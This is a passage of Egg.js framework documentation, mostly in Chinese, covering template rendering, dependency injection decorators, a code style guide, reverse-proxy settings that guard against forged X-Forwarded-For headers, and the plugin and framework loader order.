除此之外，框架还提供了 [app.injectCsrf](../core/security.md#appinjectcsrfstr) 与 [app.injectNonce](../core/security.md#appinjectnoncestr) 方法。更多内容可查看[安全章节](../core/security.md)。

### 单元测试

为了确保插件的高质量，完善的单元测试是不可或缺的。我们也提供了很多辅助工具，以帮助插件开发者毫无障碍地编写测试。具体内容请参见[单元测试](../core/unittest.md)与[插件](./plugin.md)相关章节。

[@eggjs/security]: https://github.com/eggjs/security

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs

---

---
url: /zh-CN/core/view.md
---
# View 模板渲染

绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。因此，我们需要引入相应的模板引擎。

框架内置了 `@eggjs/view` 作为模板解决方案，支持多模板渲染。每个模板引擎均以插件方式引入，并保持渲染 API 的一致性。如想深入了解，可查看[模板插件开发](../advanced/view-plugin.md)。

以下以官方支持的 View 插件 `@eggjs/view-nunjucks` 为例。

## 引入 view 插件

```bash
npm i @eggjs/view-nunjucks
```

### 启用插件

```js
// config/plugin.js
exports.nunjucks = {
  enable: true,
  package: 'egg-view-nunjucks',
};
```

## 配置插件

`egg-view` 提供了 `config.view` 通用配置。

### root {String}

模板文件的根目录，为绝对路径，默认为 `${baseDir}/app/view`。支持配置多个目录，用逗号 `,` 分割。框架会依次从这些目录中查找文件。

以下示例展示了如何配置多个 `view` 目录：

```js
// config/config.default.js
const path = require('path');

module.exports = (appInfo) => {
  const config = {};

  config.view = {
    root: [
      path.join(appInfo.baseDir, 'app/view'),
      path.join(appInfo.baseDir, 'path/to/another'),
    ].join(','),
  };

  return config;
};
```

### cache {Boolean}

模板路径缓存，默认开启。框架根据 `root` 配置的目录依次查找；如果匹配成功，则会缓存文件路径，下次渲染相同路径时不会重新查找。

### mapping 和 defaultViewEngine

每个模板引擎在注册时会指定一个模板名（viewEngineName）。使用时，需要根据文件后缀匹配模板名，例如 `.nj` 后缀的文件使用 Nunjucks 进行渲染。

```js
module.exports = {
  view: {
    mapping: {
      '.nj': 'nunjucks',
    },
  },
};
```

调用 `render` 渲染文件时，框架会根据上述配置的后缀名寻找对应的模板引擎。

```js
await ctx.render('home.nj');
```

必须配置文件后缀与模板引擎的映射；否则无法找到对应模板引擎。还可以使用 `defaultViewEngine` 进行全局配置。

```js
// config/config.default.js
module.exports = {
  view: {
    defaultViewEngine: 'nunjucks',
  },
};
```

如果根据文件后缀没找到模板引擎，则会使用默认模板引擎渲染。对只用一种模板引擎的应用，建议配置此项。

### defaultExtension

一般在调用 `render` 时，第一个参数需包含文件后缀。如果配置了 `defaultExtension`，则可以省略后缀。

```js
// config/config.default.js
module.exports = {
  view: {
    defaultExtension: '.nj',
  },
};

// render app/view/home.nj
await ctx.render('home');
```

## 渲染页面

框架在 Context 上提供了三个返回 Promise 的接口：

* `render(name, locals)`：渲染模板文件，并赋值给 `ctx.body`
* `renderView(name, locals)`：仅渲染模板文件，不赋值
* `renderString(tpl, locals)`：渲染模板字符串，不赋值

```js
// {app_root}/app/controller/home.js
class HomeController extends Controller {
  async index() {
    const data = { name: 'egg' };

    // render a template, path related to `app/view`
    await ctx.render('home/index.tpl', data);

    // or manually set render result to ctx.body
    ctx.body = await ctx.renderView('path/to/file.tpl', data);

    // or render string directly
    ctx.body = await ctx.renderString('hi, {{ name }}', data, {
      viewEngine: 'nunjucks',
    });
  }
}
```

当使用 `renderString` 时需指定模板引擎。如果已定义 `defaultViewEngine`，则可省略。

## 本地变量（Locals）

在渲染页面的过程中，我们通常需要一个变量来收集需要传递给模板的变量，在框架里面，我们提供了 `app.locals` 和 `ctx.locals`。

* `app.locals` 具有全局作用域，一般在 `app.js` 里面配置全局变量。
* `ctx.locals` 具有请求作用域，它会合并 `app.locals` 的内容。
* 可以直接对它们赋值对象，框架的对应 setter 将会自动进行 merge 操作。

```js
// `app.locals` 的内容会被合并到 `ctx.locals`
ctx.app.locals = { a: 1 };
ctx.locals.b = 2;
console.log(ctx.locals); // 输出：{ a: 1, b: 2 }

// 在一次请求中，只有在首次使用 `ctx.locals` 时才会合并 `app.locals`。
ctx.app.locals = { a: 2 };
console.log(ctx.locals); // 由于已经进行过合并，结果仍然是：{ a: 1, b: 2 }

// 也可以直接赋值整个对象，不必担心会覆盖前面的值。setter 已完成自动合并。
ctx.locals.c = 3;
ctx.locals = { d: 4 };
console.log(ctx.locals); // 输出：{ a: 1, b: 2, c: 3, d: 4 }
```

但在实际业务开发中，控制器（controller）通常不会直接操作这两个对象，直接使用 `ctx.render(name, data)` 即可：

* 框架会自动将 `data` 合并到 `ctx.locals` 中。
* 框架会自动注入 `ctx`、`request`、`helper`，便于使用。

```js
ctx.app.locals = { appName: 'showcase' };
const data = { name: 'egg' };

// 框架会自动合并 `data` 到 `ctx.locals`，输出：egg - showcase
await ctx.renderString('{{ name }} - {{ appName }}', data);

// `helper`、`ctx`、`request` 将被自动注入。
await ctx.renderString(
  '{{ name }} - {{ helper.lowercaseFirst(ctx.app.config.baseDir) }}',
  data,
);
```

注意：

* `ctx.locals` 有缓存，只在首次访问时合并 `app.locals`。
* 在原生 Koa 中的 `ctx.state`，由于可能产生歧义，在框架中被覆盖为 `locals`，即 `ctx.state` 和 `ctx.locals` 相等，我们推荐使用后者。

## Helper

在模板中可以直接使用 `helper` 上注册的方法，具体可以参见[扩展](../basics/extend.md)。

```js
// app/extend/helper.js
exports.lowercaseFirst = (str) => str[0].toLowerCase() + str.substring(1);

// app/controller/home.js
await ctx.renderString('{{ helper.lowercaseFirst(name) }}', data);
```

## 安全性（Security）

框架内置的 [@eggjs/security] 插件，提供了常见的安全辅助函数，包括 `helper.shtml`、`surl`、`sjs` 等，强烈建议阅读安全性相关的[文档内容](./security.md)。

[@eggjs/security]: https://github.com/eggjs/egg/tree/master/plugins/security

[@eggjs/view-nunjucks]: https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks

[@eggjs/view]: https://github.com/eggjs/egg/tree/master/plugins/view

---

---
url: /intro/overview.md
---
# What is Egg?

**Egg is born for building enterprise application and framework**，we hope Egg will give birth to more application framework to help developers and developing teams reduce development and maintenance costs.

## Design principles

Since we know well that enterprise applications need to consider how to balance the differences between different teams, seeking common ground while reserving differences in the pursuit of clarifying specification and cooperation, we focus on providing core features for Web development and a flexible and extensible plugin mechanism instead of giant bazaar mode which is popular in common Web frameworks (with integrated such as database, template engine, front-end framework and other functions). We will not make a technical selection because default technical selection makes the scalability of the framework too poor to meet a variety of custom requirements. With the help of Egg, it is very easy for architects and technical leaders to build their own framework which is suitable for their business scenarios based on the existing technology stack .

The plugin mechanism of Egg is very extensible, **one purpose for one plugin**(Eg: [Nunjucks] is encapsulated into [egg-view-nunjucks](https://github.com/eggjs/egg-view-nunjucks), and MySQL is encapsulated into [egg-mysql](https://github.com/eggjs/egg-mysql)). Aggregating the plugins and customizing the configurations according to their own business scenarios greatly reduces the development cost.

Egg is a convention-over-configuration framework, follows the [Loader](../advanced/loader.md) to do the development, it helps to reduce the cost of learning. Developers no longer work as 'nails'. The cost of communication is very high for a team without convention. It is easy to get fault without convention. However convention is not equal to difficult extension, instead, Egg does well in extension part, you can build your own framework according to team convention. [Loader](../advanced/loader.md) can help load different default configuration in a different environment, Egg default convention can also be covered by your own.

## Differences Between Community Framework

[Express] is well used in the Node.js community, it is easy and extensible, fits personal projects a lot. However, without default convention, the standard mvc model has lots of strange impl which would lead to misunderstandings. Egg's teamwork cost is really low by following convention convention-over-configuration.

[Sails] is a framework that also follows convention-over-configuration,it does well in extensible work. Compared with Egg, [Sails] supports blueprint REST API, [WaterLine] , Frontend integration, WebSocket and so on, all of these are provided by [Sails]. Egg does not provide these functions, it only has the integration of different functional extensions, such as egg-blueprint, egg-waterline, if you use sails-egg to integrate these extensions, [Sails] can be replaced.

## Features

* Provide capability to [customized framework](../advanced/framework.md) base on Egg
* Highly extensible [plugin mechanism](../basics/plugin.md)
* Built-in [cluster](../advanced/cluster-client.md)
* Based on [Koa] with high performance
* Stable core framework with high test coverage
* [Progressive development](../intro/progressive.md)

[sails]: http://sailsjs.com

[express]: http://expressjs.com

[koa]: http://koajs.com

[nunjucks]: https://mozilla.github.io/nunjucks

[waterline]: https://github.com/balderdashy/waterline

---

---
url: /zh-CN/community/style-guide.md
---
# 代码风格指南

建议开发者使用 `npm init egg --type=simple showcase` 来生成并观察推荐的项目结构和配置。

## 用类的形式呈现（Classify）

旧写法：

```js
module.exports = (app) => {
  class UserService extends app.Service {
    async list() {
      return await this.ctx.curl('https://eggjs.org');
    }
  }
  return UserService;
};
```

修改为：

```js
const Service = require('egg').Service;
class UserService extends Service {
  async list() {
    return await this.ctx.curl('https://eggjs.org');
  }
}
module.exports = UserService;
```

同时，框架开发者需要改变写法如下，否则应用开发者自定义 Service 等基类会有问题：

```js
const egg = require('egg');

module.exports = Object.assign(egg, {
  Application: class MyApplication extends egg.Application {
    // ...
  },
  // ...
});
```

## 私有属性与慢初始化

* 私有属性用 `Symbol` 来挂载。
* `Symbol` 的描述遵循 jsdoc 的规则, 描述映射后的类名 + 属性名。
* 实现延迟初始化。

```js
// app/extend/application.js
const CACHE = Symbol('Application#cache');
const CacheManager = require('../../lib/cache_manager');

module.exports = {
  get cache() {
    if (!this[CACHE]) {
      this[CACHE] = new CacheManager(this);
    }
    return this[CACHE];
  },
};
```

---

---
url: /zh-CN/basics/di.md
---
# 依赖注入

## Proto

在领域驱动开发中，一般我们会将逻辑放到 Service 中，在 Egg.js 里，通过 `Proto` 来实现。

`Proto` 提供了可配置相关信息：

* 实例化方式：每次请求实例化/全局单例
* 访问级别：`Module` 外是否可访问
* 实例化名称

## 实例化方式

包含了 `ContextProto` 和 `SingletonProto` 两种形式，具体细节可以查看下面的相关文档。

## 实例化名称

十分关键，决定 `@Inject` 注入的实例应该是哪个。默认会把 Proto 类的首字母转为小写，如 `UserAdapter` 会转换为 `userAdapter`。
如果有不符合预期的可以手动指定，比如：

```ts
// MISTAdapter 的实例名称即为 mistAdapter
@SingletonProto({ name: 'mistAdapter' })
class MISTAdapter {}
```

## 访问级别

Module 内所有的原型都能被同 Module 内的原型依赖（`@Inject`），只有 `accessLevel: AccessLevel.PUBLIC` 的原型可以被其它 Module 所访问。默认访问级别是 `AccessLevel.PRIVATE`

```ts
root dir
└── app
    └── module
        ├── fooModule
        │   ├── Private.ts
        │   ├── Public.ts
        │   └── Access.ts  // 可以 Inject Private/Public
        └── barModule
            └── Access.ts  // 只可以 Inject Public
```

:::warning
Module 内逻辑应尽可能高内聚，只对外暴露必要的接口
并且一旦暴露意味着会产生依赖，接口代码变更需要自行考虑向下兼容问题
:::

## SingletonProto

### 定义

和 `ContextProto` 类似，整个应用生命周期只会实例化一个 `SingletonProto` 。

推荐默认使用 `SingletonProto`，可以提升应用性能，并且可以在 `SingletonProto` 里面注入 `ContextProto` 对象。

```ts
@SingletonProto({
  // 原型的实例化名称，非必传
  name?: string;

  // 对象是在 module 内可访问还是全局可访问
  // 默认值为 AccessLevel.PRIVATE
  accessLevel?: AccessLevel;
})
```

### 示例

```ts
// biz/HelloService.ts
import { SingletonProto } from 'egg';

@SingletonProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@SingletonProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}
```

## ContextProto

### 定义

每次请求都会实例化一个 `ContextProto`。
:::info
绝大多数 `Service` 都是无状态的，本身不会存储请求上下文，这种情况推荐使用 `SingletonProto` 即可。因为只需要全局初始化一个对象，而不需要每个请求都初始化一个对象（会导致应用性能下降）。
对于需要存储请求上下文信息，并在多个 `Service` 间共享的场景，则可以使用 `ContextProto`，以保证不同请求获取的对象是隔离的。
:::

```ts
enum AccessLevel {
  // 仅 module 内可访问
  PRIVATE = 'PRIVATE',
  // 全局可访问
  PUBLIC = 'PUBLIC',
}

@ContextProto({
  // 原型的实例化名称，非必传
  name?: string;

  // 对象是在 module 内可访问还是全局可访问
  // 默认值为 AccessLevel.PRIVATE
  accessLevel?: AccessLevel;
})
```

### 示例

```ts
// service.ts
import { ContextProto } from 'egg';

@ContextProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@ContextProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}
```

如何被注入使用

```ts
import { Inject, ContextProto } from 'egg';
import { HelloService, WorldService } from './service.ts';

@ContextProto()
export class UseProtoDemo {
  @Inject()
  helloService: HelloService;

  @Inject()
  worldInterface: WorldService;

  async say(): Promise<string> {
    return this.helloService.hello() + ',' + this.worldInterface.world();
  }
}
```

## Inject

### 定义

原型中可以依赖其他的原型，或者 Egg 中的对象。通过 `@Inject` 注解来实现依赖注入

```ts
@Inject(param?: {
  // 注入对象的名称，在某些情况下一个原型可能有多个实例
  // 比如说 egg 的 logger
  // 默认为属性名称
  name?: string;
  // 注入原型的名称
  // 在某些情况不希望注入的原型和属性使用一个名称
  // 默认为属性名称
  proto?: string;
})
```

### 示例

```ts
import { Inject, SingletonProto, Logger } from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  fooService: FooService; // 注入其它原型实例

  @Inject()
  logger: Logger; // 注入 egg 对象

  async hello(user: User): Promise<string> {
    this.logger.info(`[HelloService] hello ${this.fooService.hello()}`);
  }
}
```

### 使用说明

Inject 在使用时有一些点需要注意：

* 原型之间不允许有循环依赖，比如 Proto A - inject -> Proto B - inject- > Proto A
* 类似原型之间不允许有循环依赖，`Module` 之间也不能有循环依赖
* 一个 `Module` 内不能有实例化方式和名称同时相同的原型
* 不可以注入 Egg 的 `ctx`/`app`，用什么注入什么

#### Inject name 的作用

可以让注入进来的实例名称和原型实例化不一样，这在使用别名时会比较有用

```ts
/*** 定义原型 ***/
@SingletonProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@SingletonProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}

/*** 注入原型 ***/
@SingletonProto()
class Foo {
  @Inject()
  helloService: HelloService;

  @Inject({ name: 'helloService' })
  aliasHelloService: HelloService; // 等价于上面的 helloService

  @Inject({ name: 'worldInterface' })
  worldService: WorldService;
}
```

#### Inject 类型的作用

注入依赖的是 proto name 而不是类型，所以下面的代码照样可以运行

```ts
import { Inject, SingletonProto } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  redis: any; // 类型定义为 any 照样可以注入 Egg Context 上的 redis
}
```

那么这里类型的作用仅仅是 TypeScript 的类型提示（比如设置成 `any`，只是缺失了 Redis SDK 的 API 提示）

### 兼容 Egg

Module 会自动去遍历 `Context`/`Application` 对象，获取其所有的属性，所有的属性都可以进行无缝的注入，比如下面常见的例子

#### 注入 Egg 配置

```ts
import { Inject, SingletonProto, EggAppConfig } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  config: EggAppConfig;

  bar() {
    console.log('current env is %s', this.config.env);
  }
}
```

#### 注入 logger

专为 logger 做了优化，可以直接注入 custom logger

```ts
// config/config.default.ts
export default {
  customLogger: {
    fooLogger: {
      file: 'foo.log',
    },
  },
};
```

代码中可以直接注入:

```ts
import { Inject, SingletonProto, Logger } from 'egg';

@SingletonProto()
class FooService {
  // 注入 ${appname}-web.log
  @Inject()
  logger: Logger;

  // 注入 egg-web.log
  @Inject()
  coreLogger: Logger;

  // 注入 customLogger 名字为 fooLogger
  @Inject()
  fooLogger: Logger;
}
```

#### 注入 `Service`

:::warning
强烈建议把 Egg Service 的代码通过 `Proto` 重新封装再注入，对于已有模式的 `Service`，可以通过下面的方式引入
:::

```ts
import { EggLogger, Service, Inject, SingletonProto } from 'egg';

@SingletonProto()
class FooService {
  // 注入整个 ctx.service，再获取对应需要的 xxxService
  @Inject()
  service: Service;

  get xxxService() {
    return this.service.xxxService;
  }
}
```

#### 注入 `HttpClient`

```ts
import { Inject, SingletonProto, HttpClient } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  httpClient: HttpClient;

  async bar() {
    await this.httpClient.request('https://alipay.com');
  }
}
```

#### 注入 Egg 的方法

由于 `Module` 注入时，只可以注入对象，不能注入方法，如果需要使用现有 Egg 的方法，就需要对方法进行一定的封装。

举个例子：假设 `Context` 上有一个方法是 `getHeader` ，在 `Module` 中使用这个方法需要如何封装。

```ts
// extend/context.ts
export default {
  getHeader() {
    return '23333';
  },
};
```

先将方法封装成一个对象。

```ts
// HeaderHelper.ts
class HeaderHelper {
  constructor(ctx) {
    this.ctx = ctx;
  }

  getHeader(): string {
    return this.ctx.getHeader();
  }
}
```

再将对象放到 `Context` 扩展上即可。

```ts
// extend/context.ts
const HEADER_HELPER = Symbol('context#headerHelper');

export default {
  get headerHelper() {
    if (!this[HEADER_HELPER]) {
      this[HEADER_HELPER] = new HeaderHelper(this);
    }
    return this[HEADER_HELPER];
  },
};
```

## `Module` 内原型名称冲突

### 定义

一个 `Module` 内，有两个原型，原型名相同，实例化不同，这时直接 `Inject` 是不行的，`Module` 无法理解具体需要哪个对象。
这时就需要告知 `Module` 需要注入的对象实例化方式是哪种。

```ts
@InitTypeQualifier(initType: ObjectInitType)
```

### 示例

```ts
import {
  Logger,
  Inject,
  InitTypeQualifier,
  ObjectInitType,
  SingletonProto,
} from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  // 明确指定实例化方式为 CONTEXT 的 logger
  @InitTypeQualifier(ObjectInitType.CONTEXT)
  logger: Logger;
}
```

## `Module` 间原型名称冲突

### 定义

可能多个 `Module` 都实现了名称为 `HelloService` 的原型，需要明确的告知 `Module` 需要注入的原型来自哪个 `Module`。

```ts
@ModuleQualifier(moduleName: string)
```

### 示例

```ts
import { Inject, InitTypeQualifier, ObjectInitType, Logger } from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  // 明确指定使用来自 foo `Module` 的 HelloAdapter
  @ModuleQualifier('foo')
  helloAdapter: HelloAdapter;
}
```

## Qualifier 动态注入

### 使用场景

我们代码中经常会在不同场景下有不同的实现，比较简单的做法是，在需要使用的地方去使用 if/else 或者 switch 去切换。
但是这个面临的一个问题是，每次我们需要扩展一个类型时，至少需要修改两个地方，一个是增加实现，一个是在使用的地方增加代码分支。
往往会产生遗漏，导致我们的代码出现问题。我们希望变更是收敛的，只要我们实现了就能动态的获取到。
因此引入了动态注入的方式来解决这个问题。

### 使用

1. 定义一个抽象类和一个类型枚举。

```typescript
export enum HelloType {
  FOO = 'FOO',
  BAR = 'BAR',
}

// AbstractHello.ts
export abstract class AbstractHello {
  abstract hello(): string;
}
```

2. 定义一个自定义枚举。

:::danger
注意事项：

* **ATTRIBUTE 不要重复了，可能会导致实现被覆盖**
* **抽象类不要指定错了，可能导致实现被覆盖**
  :::

```typescript
import { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';
import { HelloType } from '../HelloType.ts';
import { AbstractHello } from '../AbstractHello.ts';

export const HELLO_ATTRIBUTE = Symbol('HELLO_ATTRIBUTE');

// 这个工具类可以实现类型检查
// 1. 加了这个注解一定要实现抽象类
// 2. 注解的参数一定是枚举值
export const Hello: ImplDecorator<AbstractHello, typeof HelloType> =
  QualifierImplDecoratorUtil.generatorDecorator(AbstractHello, HELLO_ATTRIBUTE);
```

3. 实现抽象类。

```typescript
import { SingletonProto } from 'egg';
import { Hello } from '../decorator/Hello.ts';
import { HelloType } from '../HelloType.ts';
import { AbstractHello } from '../AbstractHello.ts';

@SingletonProto()
@Hello(HelloType.BAR)
export class BarHello extends AbstractHello {
  hello(): string {
    return 'hello, bar';
  }
}
```

4. 动态获取实现。

```typescript
import { EggObjectFactory, SingletonProto, Inject } from 'egg';
import { HelloType } from './HelloType.ts';
import { AbstractHello } from './AbstractHello.ts';

@SingletonProto()
export class HelloService {
  @Inject()
  private eggObjectFactory: EggObjectFactory;

  async hello(): Promise<string> {
    const helloImpl = await this.eggObjectFactory.getEggObject(
      AbstractHello,
      HelloType.BAR,
    );
    return helloImpl.hello();
  }
}
```

### 真实示例

[cnpmcore/app/common/adapter/binary/AbstractBinary.ts](https://github.com/cnpm/cnpmcore/blob/b6c96defa4c61783e1bf9a1b5dbe2420918ab69a/app/common/adapter/binary/AbstractBinary.ts#L136)

### FAQ

* 如果我没有枚举，类型是无限扩展的怎么办？

```typescript
// 通过使用一个 record 来伪装成一个 enum
type AnyEnum = Record<string, string>;

export const Convertor: ImplDecorator<AbstractFoo, AnyEnum> =
  QualifierImplDecoratorUtil.generatorDecorator(AbstractFoo, FOO_ATTRIBUTE);
```

---

---
url: /zh-CN/tutorials/proxy.md
---
# 前置代理模式

一般来说，我们的服务都不会直接接受外部的请求，而会将服务部署在接入层之后。这样做可以实现多台机器的负载均衡和服务的平滑发布，保证高可用。

在这个场景下，我们无法直接获取到真实用户请求的连接，从而无法确认用户的真实 IP、请求协议，甚至请求的域名。为了解决这个问题，框架默认提供了一系列配置项，以便开发者基于与接入层的约定（事实标准）来使应用层获取真实的用户请求信息。

## 开启前置代理模式

通过设置 `config.proxy = true` 可以开启前置代理模式：

```js
// config/config.default.js

exports.proxy = true;
```

注意，开启此模式后，应用就默认处于反向代理之后。它会支持通过解析约定的请求头来获取用户真实的 IP、协议和域名。如果你的服务未部署在反向代理之后，请不要开启此配置，以防被恶意用户伪造请求 IP 等信息。

### `config.ipHeaders`

开启 proxy 配置后，应用会解析 [X-Forwarded-For](https://en.wikipedia.org/wiki/X-Forwarded-For) 请求头来获取客户端的真实 IP。如果你的前置代理通过其他请求头传递该信息，可以通过 `config.ipHeaders` 来配置。此配置项支持配置多个头（逗号分开）。

```js
// config/config.default.js

exports.ipHeaders = 'X-Real-Ip, X-Forwarded-For';
```

### `config.maxIpsCount`

`X-Forwarded-For` 等传递 IP 的头，通常格式是：

```
X-Forwarded-For: client, proxy1, proxy2
```

通常我们可以取第一个作为请求的真实 IP。但是，如果有恶意用户在请求中传递了 `X-Forwarded-For` 参数，以伪造其位置在反向代理之后，将会导致获取的 `X-Forwarded-For` 值变得不准确。这可能被用来伪造请求 IP 地址，绕过应用层的某些 IP 限制。

```
X-Forwarded-For: fake, client, proxy1, proxy2
```

为避免此问题，我们可以通过 `config.maxIpsCount` 来限制前置代理的数量。这样在获取请求真实 IP 地址时，会忽略掉用户所传递的伪造 IP 地址。例如，如果我们将应用部署在一个统一的接入层后（如阿里云 SLB），可以将此参数配置为 `1`。这样用户就无法通过 `X-Forwarded-For` 请求头伪造 IP 地址了。

```js
// config/config.default.js

exports.maxIpsCount = 1;
```

此配置项与 [koa](https://github.com/koajs/koa/blob/master/docs/api/request.md#requestips) 提供的 `options.maxIpsCount` 作用一致。

### `config.protocolHeaders`

开启 proxy 配置后，应用会解析 [X-Forwarded-Proto](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto) 请求头来获取客户端的真实访问协议。如果你的前置代理通过其他请求头传递该信息，可以通过 `config.protocolHeaders` 来配置。此配置项支持配置多个头（逗号分开）。

```js
// config/config.default.js

exports.protocolHeaders = 'X-Real-Proto, X-Forwarded-Proto';
```

### `config.hostHeaders`

开启 proxy 配置后，应用通常会直接读取 `host` 来获取请求的域名，因为大多数反向代理不会修改这个值。但有时，一些反向代理会通过 [X-Forwarded-Host](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host) 传递客户端的真实访问域名。你可以在 `config.hostHeaders` 中配置此信息，配置项支持多个头（逗号分开）。

```js
// config/config.default.js

exports.hostHeaders = 'X-Forwarded-Host';
```

---

---
url: /zh-CN/advanced/loader.md
---
# 加载器（Loader）

Egg 在 Koa 的基础上进行增强，最重要的就是基于一定的约定，将功能不同的代码分类放置到不同的目录下管理，这对整体团队的开发成本提升有着明显的效果。Loader 实现了这套约定，并且抽象了很多底层 API，以便于进一步扩展。

## 应用、框架和插件

Egg 是一个底层框架，应用可以直接使用，但 Egg 本身的插件比较少。因此，应用需要自己配置插件来增加各种特性，比如 MySQL。

```js
// 应用配置
// package.json
{
  "dependencies": {
    "egg": "^2.0.0",
    "egg-mysql": "^3.0.0"
  }
}

// config/plugin.js
module.exports = {
  mysql: {
    enable: true,
    package: 'egg-mysql'
  }
}
```

当应用数量达到一定规模时，会发现大部分应用的配置都相似。这时，可以基于 Egg 扩展出一个框架，进而简化应用的配置。

```js
// 框架配置
// package.json
{
  "name": "framework1",
  "version": "1.0.0",
  "dependencies": {
    "egg-mysql": "^3.0.0",
    "egg-view-nunjucks": "^2.0.0"
  }
}

// config/plugin.js
module.exports = {
  mysql: {
    enable: false,
    package: 'egg-mysql'
  },
  view: {
    enable: false,
    package: 'egg-view-nunjucks'
  }
}

// 应用配置
// package.json
{
  "dependencies": {
    "framework1": "^1.0.0"
  }
}

// config/plugin.js
module.exports = {
  // 开启插件
  mysql: true,
  view: true
}
```

从上面的使用场景可以看出应用、插件和框架三者之间的关系。

* 在应用中完成业务，需要指定框架才能运行。当应用需要某一特定功能时，可以通过配置插件来获得，例如 MySQL。
* 插件专注于完成特定的功能。如果两个独立功能之间存在依赖，可以分成两个插件，但需要相互配置依赖。
* 框架是一个启动器（默认是 Egg），有了框架应用才能运行。框架还起到封装器的作用，将多个插件的功能聚合起来统一提供，并且框架也可以配置插件。
* 在框架的基础上还可以扩展新的框架，也就是说，框架可以无限级继承，这有点类似于类的继承。

```
+-----------------------------------+--------+
|      app1, app2, app3, app4       |        |
+-----+--------------+--------------+        |
|     |              |  framework3  |        |
+     |  framework1  +--------------+ plugin |
|     |              |  framework2  |        |
+     +--------------+--------------+        |
|                   Egg             |        |
+-----------------------------------+--------|
|                   Koa                      |
+-----------------------------------+--------+
```

## 加载单元（loadUnit）

Egg 将应用、框架和插件都称为加载单元（loadUnit），因为在代码结构上几乎没有什么差异。下面是一种典型的目录结构：

```
loadUnit
├── package.json
├── app.js
├── agent.js
├── app
│   ├── extend
│   │   ├── helper.js
│   │   ├── request.js
│   │   ├── response.js
│   │   ├── context.js
│   │   ├── application.js
│   │   └── agent.js
│   ├── service
│   ├── middleware
│   └── router.js
└── config
    ├── config.default.js
    ├── config.prod.js
    ├── config.test.js
    ├── config.local.js
    └── config.unittest.js
```

不过，还存在一些差异，如下表所示：

| 文件                      | 应用 | 框架 | 插件 |
| ------------------------- | ---- | ---- | ---- |
| package.json              | ✔    | ✔    | ✔    |
| config/plugin.{env}.js    | ✔    | ✔    |      |
| config/config.{env}.js    | ✔    | ✔    | ✔    |
| app/extend/application.js | ✔    | ✔    | ✔    |
| app/extend/request.js     | ✔    | ✔    | ✔    |
| app/extend/response.js    | ✔    | ✔    | ✔    |
| app/extend/context.js     | ✔    | ✔    | ✔    |
| app/extend/helper.js      | ✔    | ✔    | ✔    |
| agent.js                  | ✔    | ✔    | ✔    |
| app.js                    | ✔    | ✔    | ✔    |
| app/service               | ✔    | ✔    | ✔    |
| app/middleware            | ✔    | ✔    | ✔    |
| app/controller            | ✔    |      |      |
| app/router.js             | ✔    |      |      |

文件按表格内的顺序从上到下加载。

在加载过程中，Egg 会遍历所有的 loadUnit 加载上述的文件（应用、框架、插件各有不同），加载时有一定的优先级：

* 按插件 => 框架 => 应用的顺序依次加载。
* 插件之间的顺序由依赖关系决定，被依赖方先加载，无依赖者按 object key 的配置顺序加载。具体可以查看[插件章节](./plugin.md)。
* 框架按继承顺序加载，越底层越先加载。

例如，有这样一个应用配置了如下依赖：

```
app
| ├── plugin2 （依赖 plugin3）
| └── plugin3
└── framework1
    | └── plugin1
    └── egg
```

最终的加载顺序为：

```
=> plugin1
=> plugin3
=> plugin2
=> egg
=> framework1
=> app
```

plugin1 是 framework1 依赖的插件。由于 plugin2 和 plugin3 的依赖关系，因此交换了它们的位置。由于 framework1 继承了 egg，因此它的加载顺序会晚于 egg。应用将最后加载。

更多信息请查看 [Loader.getLoadUnits](https://github.com/eggjs/egg-core/blob/65ea778a4f2156a9cebd3951dac12c4f9455e636/lib/loader/egg_loader.js#L233) 方法。

### 文件顺序

上文已经列出了默认会加载的文件。Egg 会按照如下文件顺序进行加载，每个文件或目录再根据 loadUnit 的顺序去加载（应用、框架、插件各有不同）：

1. 加载 [plugin](./plugin.md)，找到应用和框架，加载 `config/plugin.js`。
2. 加载 [config](../basics/config.md)，遍历 loadUnit 加载 `config/config.{env}.js`。
3. 加载 [extend](../basics/extend.md)，遍历 loadUnit 加载 `app/extend/xx.js`。
4. [自定义初始化](../basics/app-start.md)，遍历 loadUnit 加载 `app.js` 和 `agent.js`。
5. 加载 [service](../basics/service.md)，遍历 loadUnit 加载 `app/service` 目录。
6. 加载 [middleware](../basics/middleware.md)，遍历 loadUnit 加载 `app/middleware` 目录。
7. 加载 [controller](../basics/controller.md)，加载应用的 `app/controller` 目录。
8. 加载 [router](../basics/router.md)，加载应用的 `app/router.js`。

请注意：

* 加载时如果遇到同名文件将会被覆盖。比如，如果想要覆盖 `ctx.ip`，可以在应用的 `app/extend/context.js` 中直接定义 `ip`。
* 应用完整启动顺序请查看[框架开发](./framework.md)。

### 生命周期

框架提供了以下生命周期函数供开发者使用：

* 配置文件即将加载，为修改配置的最后机会（`configWillLoad`）
* 配置文件已加载完成（`configDidLoad`）
* 文件已加载完成（`didLoad`）
* 插件启动完毕（`willReady`）
* worker 准备就绪（`didReady`）
* 应用启动完成（`serverDidReady`）
* 应用即将关闭（`beforeClose`）

定义方法如下：

```js
// app.js 或 agent.js
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  configWillLoad() {
    // 准备调用 configDidLoad，
    // 配置文件和插件文件将被引用，
    // 这是修改配置的最后机会。
  }

  configDidLoad() {
    // 配置文件和插件文件已被加载。
  }

  async didLoad() {
    // 所有文件已加载，这里开始启动插件。
  }

  async willReady() {
